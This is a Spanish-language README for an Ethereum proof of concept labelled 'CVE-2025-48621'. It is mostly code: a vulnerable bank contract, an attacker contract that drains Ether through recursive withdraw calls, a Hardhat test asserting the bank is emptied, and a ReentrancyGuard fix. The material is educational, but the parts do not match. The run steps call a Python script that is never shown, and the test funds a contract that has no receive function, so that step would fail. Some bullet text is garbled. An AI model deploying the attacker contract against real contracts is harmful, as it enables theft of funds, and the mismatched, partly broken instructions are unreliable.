
POC de vulnerabilidad de ataque de reentrada en contratos inteligentes
Verificación de vulnerabilidad de ataque de reentrada en contratos inteligentes
Este repositorio contiene una Prueba de Concepto (PoC) que demuestra una vulnerabilidad de ataque de reentrada en contratos inteligentes de Ethereum. La PoC incluye un contrato inteligente vulnerable, un contrato atacante e instrucciones para reproducir el ataque en un entorno de prueba local.
La reentrada es una vulnerabilidad común en contratos inteligentes de Ethereum donde un contrato externo puede hacer llamadas repetidas al contrato original antes de que la primera llamada se complete, potencialmente drenando fondos o manipulando el estado. Esta PoC demuestra cómo un atacante puede explotar un contrato vulnerable para robar Ether.
El contrato vulnerable (VulnerableBank) permite a los usuarios depositar y retirar Ether. Sin embargo, no maneja adecuadamente las actualizaciones de estado antes de realizar llamadas externas, lo que lo hace susceptible a reentrada. El contrato atacante (Attacker) explota esto llamando recursivamente a la función withdraw para drenar el saldo de Ether del contrato.
withdraw en VulnerableBank envía Ether al llamante antes de actualizar el saldo del usuario.withdraw nuevamente en su función fallback, drenando los fondos del contrato.Para ejecutar esta PoC, necesitas:
git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
cd POC-CVE-2025-48621
python3 poc.py
A continuación se muestran los dos contratos utilizados en esta PoC:
Este contrato simula un banco simple que permite depósitos y retiros, pero es vulnerable a reentrada.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Vulnerable: External call before state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// State update after external call
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Este contrato explota la vulnerabilidad de reentrada llamando recursivamente a la función withdraw.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public vulnerableBank;
uint256 public constant WITHDRAW_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
}
// Initiate the attack
function attack() external payable {
require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
vulnerableBank.withdraw();
}
// Fallback function to recursively call withdraw
receive() external payable {
if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
vulnerableBank.withdraw();
}
}
// Withdraw stolen Ether to attacker's address
function withdrawFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Se incluye un script de prueba Hardhat para automatizar la simulación del ataque.
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack PoC", function () {
let vulnerableBank, attacker, owner, attackerAddr;
beforeEach(async function () {
// Deploy VulnerableBank
const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
vulnerableBank = await VulnerableBank.deploy();
await vulnerableBank.deployed();
// Deploy Attacker
const Attacker = await ethers.getContractFactory("Attacker");
[owner, attackerAddr] = await ethers.getSigners();
attacker = await Attacker.deploy(vulnerableBank.address);
await attacker.deployed();
// Fund VulnerableBank with 10 Ether
await owner.sendTransaction({
to: vulnerableBank.address,
value: ethers.utils.parseEther("10"),
});
});
it("should drain VulnerableBank via reentrancy", async function () {
// Initial balances
const initialBankBalance = await vulnerableBank.getBalance();
console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// Execute attack with 1 Ether
await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });
// Check final balances
const finalBankBalance = await vulnerableBank.getBalance();
const attackerBalance = await attacker.getBalance();
console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);
expect(finalBankBalance).to.equal(0, "Bank should be drained");
expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
});
});
Para prevenir ataques de reentrada, considera las siguientes mejores prácticas:
ReentrancyGuard de OpenZeppelin) para evitar llamadas recursivas.transfer o send: Estos métodos limitan el gas, reduciendo el riesgo de reentrada.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Update state first
balances[msg.sender] = 0;
// Then make external call
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Este proyecto está licenciado bajo la Licencia MIT - consulta el archivo LICENSE para más detalles.